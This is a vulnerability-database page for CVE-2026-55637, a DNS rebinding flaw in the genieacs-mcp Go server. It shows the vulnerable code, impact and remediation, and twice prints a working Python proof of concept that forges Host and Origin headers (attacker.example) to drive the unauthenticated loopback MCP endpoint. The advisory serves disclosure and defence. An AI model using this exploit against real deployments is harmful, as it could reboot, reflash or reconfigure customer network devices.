Vulnerability-Lookup

CVE-2026-55637 (GCVE-0-2026-55637)

Vulnerability from cvelistv5 – Published: 2026-08-25 18:03 – Updated: 2026-08-25 18:24

Title

genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport

Summary

genieacs-mcp is an MCP server for GenieACS written in Go. Prior to 0.3.2, the Streamable HTTP transport in cmd/server/main.go creates an unauthenticated /mcp listener on the default MCP_LISTEN_ADDR value 127.0.0.1:8080 when MCP_AUTH_TOKEN is unset and the httpSrv.Start(addr) branch does not validate the Host or Origin headers. A malicious website can use DNS rebinding to send browser requests with attacker-controlled Host and Origin values to the loopback listener, initialize an MCP session, list tools, and invoke operations against the GenieACS NBI configured by ACS_URL. Successful exploitation can expose or modify CPE management state, including device reboots, firmware tasks, TR-069 parameter changes, presets, provisions, tags, connection requests, and task operations. The npm wrapper is not affected because it forces TRANSPORT=stdio and does not expose an HTTP listener. This issue is fixed in version 0.3.2.

Severity

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 18:24 UTC

CWE

CWE-346 - Origin Validation Error

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/GeiserX/genieacs-mcp/security/…	x_refsource_CONFIRM
https://github.com/GeiserX/genieacs-mcp/pull/26	x_refsource_MISC
https://github.com/GeiserX/genieacs-mcp/commit/57…	x_refsource_MISC
https://github.com/GeiserX/genieacs-mcp/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
GeiserX	genieacs-mcp	Affected: < 0.3.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-55637

Vulnerability from fkie_nvd - Published: 2026-08-25 18:17 - Updated: 2026-09-09 21:07

Severity

8.8 (High) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/GeiserX/genieacs-mcp/commit/577306d78190622eee97e362b042a69499ef373f
	security-advisories@github.com	https://github.com/GeiserX/genieacs-mcp/pull/26
	security-advisories@github.com	https://github.com/GeiserX/genieacs-mcp/releases/tag/v0.3.2
	security-advisories@github.com	https://github.com/GeiserX/genieacs-mcp/security/advisories/GHSA-cmwv-wf9p-p8wx
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/GeiserX/genieacs-mcp/security/advisories/GHSA-cmwv-wf9p-p8wx

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "genieacs-mcp",
          "vendor": "GeiserX",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.3.2"
            }
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    }
  ],
  "id": "CVE-2026-55637",
  "lastModified": "2026-09-09T21:07:31.353",
  "metrics": {
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          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
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          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55637",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-25T18:24:35.743227Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-25T18:17:56.157",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/GeiserX/genieacs-mcp/commit/577306d78190622eee97e362b042a69499ef373f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/GeiserX/genieacs-mcp/pull/26"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/GeiserX/genieacs-mcp/releases/tag/v0.3.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/GeiserX/genieacs-mcp/security/advisories/GHSA-cmwv-wf9p-p8wx"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/GeiserX/genieacs-mcp/security/advisories/GHSA-cmwv-wf9p-p8wx"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-CMWV-WF9P-P8WX

Vulnerability from github – Published: 2026-08-25 18:05 – Updated: 2026-08-25 18:05

Summary

genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport

Details

genieacs-mcp exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled Host and Origin headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret.

The affected package is genieacs-mcp version 0.3.1 at commit 4d7d3c74740efb7f3833aadc8a8e9177650eb462.

The vulnerable transport setup is in cmd/server/main.go. When TRANSPORT is not stdio, the server creates a Streamable HTTP MCP handler:

// cmd/server/main.go:92
httpSrv := server.NewStreamableHTTPServer(s)
addr := os.Getenv("MCP_LISTEN_ADDR")
if addr == "" {
    addr = "127.0.0.1:8080"
}
authToken := os.Getenv("MCP_AUTH_TOKEN")
if authToken == "" && !isLoopbackAddr(addr) {
    log.Fatal("MCP_AUTH_TOKEN is required when MCP_LISTEN_ADDR is not loopback")
}
if authToken != "" {
    mux := http.NewServeMux()
    mux.Handle("/mcp", bearerAuth(httpSrv, authToken))
    log.Printf("GenieACS MCP bridge listening on %s (auth enabled)", addr)
    if err := http.ListenAndServe(addr, mux); err != nil {
        log.Fatalf("server error: %v", err)
    }
} else {
    log.Printf("GenieACS MCP bridge listening on %s", addr)
    if err := httpSrv.Start(addr); err != nil {
        log.Fatalf("server error: %v", err)
    }
}

For the default loopback listener, MCP_AUTH_TOKEN is not required. The unauthenticated branch calls httpSrv.Start(addr) directly. There is no middleware or MCP transport configuration that validates Host or Origin before /mcp handles the request.

The README documents loopback HTTP as the default deployment mode and says MCP_AUTH_TOKEN is required only when MCP_LISTEN_ADDR is non-loopback:

TRANSPORT: empty = HTTP
MCP_LISTEN_ADDR: 127.0.0.1:8080
MCP_AUTH_TOKEN: empty, required when MCP_LISTEN_ADDR is non-loopback

That leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled Host and Origin values.

Proof of concept

The following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend.

Start a fake GenieACS NBI:

python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import json
import urllib.parse

DEVICE_ID = "00236A-FAKE-CPE-PWNED"

class Handler(BaseHTTPRequestHandler):
    def _json(self, value, status=200):
        data = json.dumps(value, indent=2).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def do_GET(self):
        print("FAKE_ACS_GET", self.path, dict(self.headers), flush=True)
        parsed = urllib.parse.urlparse(self.path)
        if parsed.path.rstrip("/") == "/devices":
            self._json([{
                "_id": DEVICE_ID,
                "_tags": ["poc-owned"],
                "Device": {
                    "DeviceInfo": {
                        "SoftwareVersion": {"_value": "PLANTED-FAKE-FIRMWARE-9.9.9"},
                        "SerialNumber": {"_value": "PLUTO-FAKE-CPE-0001"}
                    },
                    "ManagementServer": {
                        "URL": {"_value": "https://acs-control.example.invalid/cwmp"}
                    }
                }
            }])
            return
        self._json({"error": "not found"}, 404)

    def log_message(self, fmt, *args):
        return

ThreadingHTTPServer(("127.0.0.1", 18083), Handler).serve_forever()
PY

In a second terminal, run the affected MCP server:

git clone https://github.com/GeiserX/genieacs-mcp.git
cd genieacs-mcp
git checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462

GOCACHE=/tmp/genieacs_mcp_gocache \
GOPATH=/tmp/genieacs_mcp_gopath \
go build -o /tmp/genieacs-mcp ./cmd/server

ACS_URL=http://127.0.0.1:18083 \
MCP_LISTEN_ADDR=127.0.0.1:8083 \
/tmp/genieacs-mcp

In a third terminal, send MCP requests with forged browser-origin headers:

python3 - <<'PY'
import http.client
import json

PORT = 8083
PROTO = "2024-11-05"
ATTACKER_HOST = f"attacker.example:{PORT}"

def parse_rpc(text):
    text = (text or "").strip()
    if text.startswith("{") or text.startswith("["):
        return [json.loads(text)]
    out = []
    for line in text.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            data = line[5:].strip()
            if data and data != "[DONE]":
                out.append(json.loads(data))
    return out

sid = None

def rpc(body):
    global sid
    headers = {
        "Host": ATTACKER_HOST,
        "Origin": "http://" + ATTACKER_HOST,
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if sid:
        headers["Mcp-Session-Id"] = sid
        headers["MCP-Protocol-Version"] = PROTO
    conn = http.client.HTTPConnection("127.0.0.1", PORT, timeout=10)
    conn.request("POST", "/mcp", json.dumps(body), headers)
    res = conn.getresponse()
    raw_headers = dict(res.getheaders())
    if raw_headers.get("Mcp-Session-Id"):
        sid = raw_headers["Mcp-Session-Id"]
    text = res.read().decode("utf-8", "replace")
    conn.close()
    return res.status, parse_rpc(text), text

init_status, init_msgs, init_raw = rpc({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": PROTO,
        "capabilities": {},
        "clientInfo": {"name": "genieacs-rebind-check", "version": "1"}
    }
})

notify_status, _, _ = rpc({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})

tools_status, tools_msgs, tools_raw = rpc({
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/list",
    "params": {}
})

call_status, call_msgs, call_raw = rpc({
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
        "name": "get_parameter",
        "arguments": {
            "device_id": "00236A-FAKE-CPE-PWNED",
            "parameter_path": "Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL"
        }
    }
})

print("initialize_status", init_status)
print("session_created", bool(sid))
print("initialized_notification_status", notify_status)
print("tools_list_status", tools_status)
print(tools_raw[:1200])
print("get_parameter_status", call_status)
print(call_raw)
PY

The MCP request uses attacker-controlled browser-origin headers and no Authorization header:

POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"genieacs-rebind-check","version":"1"}}}

Observed output:

initialize_status 200
session_created True
initialized_notification_status 202
tools_list_status 200

tools/list returns 12 tools, including:

connection_request
delete_task
download_firmware
get_parameter
manage_preset
manage_provision
reboot_device
refresh_parameter
retry_task
search_devices
set_parameter
tag_device

The get_parameter tool call reaches the fake GenieACS NBI and returns the planted marker:

Cached parameter values: [
  {
    "_id": "00236A-FAKE-CPE-PWNED",
    "_tags": [
      "poc-owned"
    ],
    "Device": {
      "DeviceInfo": {
        "SoftwareVersion": {
          "_value": "PLANTED-FAKE-FIRMWARE-9.9.9"
        },
        "SerialNumber": {
          "_value": "PLUTO-FAKE-CPE-0001"
        }
      },
      "ManagementServer": {
        "URL": {
          "_value": "https://acs-control.example.invalid/cwmp"
        }
      }
    }
  }
]

The fake GenieACS NBI also records the backend request from the MCP server:

FAKE_ACS_GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22_id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D

Impact

A malicious website can control a victim's local genieacs-mcp HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured ACS_URL.

In a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access.

Why this is a vulnerability, not intended behavior

The project treats loopback HTTP as a safety boundary. The README documents 127.0.0.1:8080 as the default HTTP listen address and requires MCP_AUTH_TOKEN only for non-loopback listeners.
DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates Host and Origin.
PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener.
A local trusted MCP client is the intended caller. A public web page is not.

Remediation

Add Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as:

Host: 127.0.0.1:8080
Host: localhost:8080
Origin: http://127.0.0.1:8080
Origin: http://localhost:8080

Reject unexpected Host or Origin values before MCP initialization. Treat absent or non-local Origin on browser-reachable requests as suspicious unless the request is authenticated.

Also require a bearer token for HTTP transport even on loopback, or make stdio the default transport and require an explicit opt-in for unauthenticated loopback HTTP.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/geiserx/genieacs-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:05:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "`genieacs-mcp` exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled `Host` and `Origin` headers. A malicious web page can use DNS rebinding to route browser requests to a victim\u0027s loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret.\n\nThe affected package is `genieacs-mcp` version `0.3.1` at commit `4d7d3c74740efb7f3833aadc8a8e9177650eb462`.\n\nThe vulnerable transport setup is in `cmd/server/main.go`. When `TRANSPORT` is not `stdio`, the server creates a Streamable HTTP MCP handler:\n\n```go\n// cmd/server/main.go:92\nhttpSrv := server.NewStreamableHTTPServer(s)\naddr := os.Getenv(\"MCP_LISTEN_ADDR\")\nif addr == \"\" {\n    addr = \"127.0.0.1:8080\"\n}\nauthToken := os.Getenv(\"MCP_AUTH_TOKEN\")\nif authToken == \"\" \u0026\u0026 !isLoopbackAddr(addr) {\n    log.Fatal(\"MCP_AUTH_TOKEN is required when MCP_LISTEN_ADDR is not loopback\")\n}\nif authToken != \"\" {\n    mux := http.NewServeMux()\n    mux.Handle(\"/mcp\", bearerAuth(httpSrv, authToken))\n    log.Printf(\"GenieACS MCP bridge listening on %s (auth enabled)\", addr)\n    if err := http.ListenAndServe(addr, mux); err != nil {\n        log.Fatalf(\"server error: %v\", err)\n    }\n} else {\n    log.Printf(\"GenieACS MCP bridge listening on %s\", addr)\n    if err := httpSrv.Start(addr); err != nil {\n        log.Fatalf(\"server error: %v\", err)\n    }\n}\n```\n\nFor the default loopback listener, `MCP_AUTH_TOKEN` is not required. The unauthenticated branch calls `httpSrv.Start(addr)` directly. There is no middleware or MCP transport configuration that validates `Host` or `Origin` before `/mcp` handles the request.\n\nThe README documents loopback HTTP as the default deployment mode and says `MCP_AUTH_TOKEN` is required only when `MCP_LISTEN_ADDR` is non-loopback:\n\n```text\nTRANSPORT: empty = HTTP\nMCP_LISTEN_ADDR: 127.0.0.1:8080\nMCP_AUTH_TOKEN: empty, required when MCP_LISTEN_ADDR is non-loopback\n```\n\nThat leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled `Host` and `Origin` values.\n\n## Proof of concept\n\nThe following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend.\n\nStart a fake GenieACS NBI:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nimport json\nimport urllib.parse\n\nDEVICE_ID = \"00236A-FAKE-CPE-PWNED\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def _json(self, value, status=200):\n        data = json.dumps(value, indent=2).encode()\n        self.send_response(status)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(data)))\n        self.end_headers()\n        self.wfile.write(data)\n\n    def do_GET(self):\n        print(\"FAKE_ACS_GET\", self.path, dict(self.headers), flush=True)\n        parsed = urllib.parse.urlparse(self.path)\n        if parsed.path.rstrip(\"/\") == \"/devices\":\n            self._json([{\n                \"_id\": DEVICE_ID,\n                \"_tags\": [\"poc-owned\"],\n                \"Device\": {\n                    \"DeviceInfo\": {\n                        \"SoftwareVersion\": {\"_value\": \"PLANTED-FAKE-FIRMWARE-9.9.9\"},\n                        \"SerialNumber\": {\"_value\": \"PLUTO-FAKE-CPE-0001\"}\n                    },\n                    \"ManagementServer\": {\n                        \"URL\": {\"_value\": \"https://acs-control.example.invalid/cwmp\"}\n                    }\n                }\n            }])\n            return\n        self._json({\"error\": \"not found\"}, 404)\n\n    def log_message(self, fmt, *args):\n        return\n\nThreadingHTTPServer((\"127.0.0.1\", 18083), Handler).serve_forever()\nPY\n```\n\nIn a second terminal, run the affected MCP server:\n\n```bash\ngit clone https://github.com/GeiserX/genieacs-mcp.git\ncd genieacs-mcp\ngit checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462\n\nGOCACHE=/tmp/genieacs_mcp_gocache \\\nGOPATH=/tmp/genieacs_mcp_gopath \\\ngo build -o /tmp/genieacs-mcp ./cmd/server\n\nACS_URL=http://127.0.0.1:18083 \\\nMCP_LISTEN_ADDR=127.0.0.1:8083 \\\n/tmp/genieacs-mcp\n```\n\nIn a third terminal, send MCP requests with forged browser-origin headers:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport http.client\nimport json\n\nPORT = 8083\nPROTO = \"2024-11-05\"\nATTACKER_HOST = f\"attacker.example:{PORT}\"\n\ndef parse_rpc(text):\n    text = (text or \"\").strip()\n    if text.startswith(\"{\") or text.startswith(\"[\"):\n        return [json.loads(text)]\n    out = []\n    for line in text.splitlines():\n        line = line.strip()\n        if line.startswith(\"data:\"):\n            data = line[5:].strip()\n            if data and data != \"[DONE]\":\n                out.append(json.loads(data))\n    return out\n\nsid = None\n\ndef rpc(body):\n    global sid\n    headers = {\n        \"Host\": ATTACKER_HOST,\n        \"Origin\": \"http://\" + ATTACKER_HOST,\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n    if sid:\n        headers[\"Mcp-Session-Id\"] = sid\n        headers[\"MCP-Protocol-Version\"] = PROTO\n    conn = http.client.HTTPConnection(\"127.0.0.1\", PORT, timeout=10)\n    conn.request(\"POST\", \"/mcp\", json.dumps(body), headers)\n    res = conn.getresponse()\n    raw_headers = dict(res.getheaders())\n    if raw_headers.get(\"Mcp-Session-Id\"):\n        sid = raw_headers[\"Mcp-Session-Id\"]\n    text = res.read().decode(\"utf-8\", \"replace\")\n    conn.close()\n    return res.status, parse_rpc(text), text\n\ninit_status, init_msgs, init_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": PROTO,\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"genieacs-rebind-check\", \"version\": \"1\"}\n    }\n})\n\nnotify_status, _, _ = rpc({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}})\n\ntools_status, tools_msgs, tools_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/list\",\n    \"params\": {}\n})\n\ncall_status, call_msgs, call_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 3,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"get_parameter\",\n        \"arguments\": {\n            \"device_id\": \"00236A-FAKE-CPE-PWNED\",\n            \"parameter_path\": \"Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL\"\n        }\n    }\n})\n\nprint(\"initialize_status\", init_status)\nprint(\"session_created\", bool(sid))\nprint(\"initialized_notification_status\", notify_status)\nprint(\"tools_list_status\", tools_status)\nprint(tools_raw[:1200])\nprint(\"get_parameter_status\", call_status)\nprint(call_raw)\nPY\n```\n\nThe MCP request uses attacker-controlled browser-origin headers and no `Authorization` header:\n\n```http\nPOST /mcp HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"genieacs-rebind-check\",\"version\":\"1\"}}}\n```\n\nObserved output:\n\n```text\ninitialize_status 200\nsession_created True\ninitialized_notification_status 202\ntools_list_status 200\n```\n\n`tools/list` returns 12 tools, including:\n\n```text\nconnection_request\ndelete_task\ndownload_firmware\nget_parameter\nmanage_preset\nmanage_provision\nreboot_device\nrefresh_parameter\nretry_task\nsearch_devices\nset_parameter\ntag_device\n```\n\nThe `get_parameter` tool call reaches the fake GenieACS NBI and returns the planted marker:\n\n```text\nCached parameter values: [\n  {\n    \"_id\": \"00236A-FAKE-CPE-PWNED\",\n    \"_tags\": [\n      \"poc-owned\"\n    ],\n    \"Device\": {\n      \"DeviceInfo\": {\n        \"SoftwareVersion\": {\n          \"_value\": \"PLANTED-FAKE-FIRMWARE-9.9.9\"\n        },\n        \"SerialNumber\": {\n          \"_value\": \"PLUTO-FAKE-CPE-0001\"\n        }\n      },\n      \"ManagementServer\": {\n        \"URL\": {\n          \"_value\": \"https://acs-control.example.invalid/cwmp\"\n        }\n      }\n    }\n  }\n]\n```\n\nThe fake GenieACS NBI also records the backend request from the MCP server:\n\n```text\nFAKE_ACS_GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL\u0026query=%7B%22_id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D\n```\n\n## Impact\n\nA malicious website can control a victim\u0027s local `genieacs-mcp` HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server\u0027s configured `ACS_URL`.\n\nIn a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server\u0027s configured GenieACS access.\n\n## Why this is a vulnerability, not intended behavior\n\n- The project treats loopback HTTP as a safety boundary. The README documents `127.0.0.1:8080` as the default HTTP listen address and requires `MCP_AUTH_TOKEN` only for non-loopback listeners.\n- DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates `Host` and `Origin`.\n- PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener.\n- A local trusted MCP client is the intended caller. A public web page is not.\n\n## Remediation\n\nAdd Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as:\n\n```text\nHost: 127.0.0.1:8080\nHost: localhost:8080\nOrigin: http://127.0.0.1:8080\nOrigin: http://localhost:8080\n```\n\nReject unexpected `Host` or `Origin` values before MCP initialization. Treat absent or non-local `Origin` on browser-reachable requests as suspicious unless the request is authenticated.\n\nAlso require a bearer token for HTTP transport even on loopback, or make `stdio` the default transport and require an explicit opt-in for unauthenticated loopback HTTP.",
  "id": "GHSA-cmwv-wf9p-p8wx",
  "modified": "2026-08-25T18:05:28Z",
  "published": "2026-08-25T18:05:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GeiserX/genieacs-mcp/security/advisories/GHSA-cmwv-wf9p-p8wx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GeiserX/genieacs-mcp/pull/26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GeiserX/genieacs-mcp/commit/577306d78190622eee97e362b042a69499ef373f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GeiserX/genieacs-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GeiserX/genieacs-mcp/releases/tag/v0.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55637 (GCVE-0-2026-55637)

FKIE_CVE-2026-55637

GHSA-CMWV-WF9P-P8WX

Proof of concept

Impact

Why this is a vulnerability, not intended behavior

Remediation

Tags

Sightings

Nomenclature

Related by attack behaviour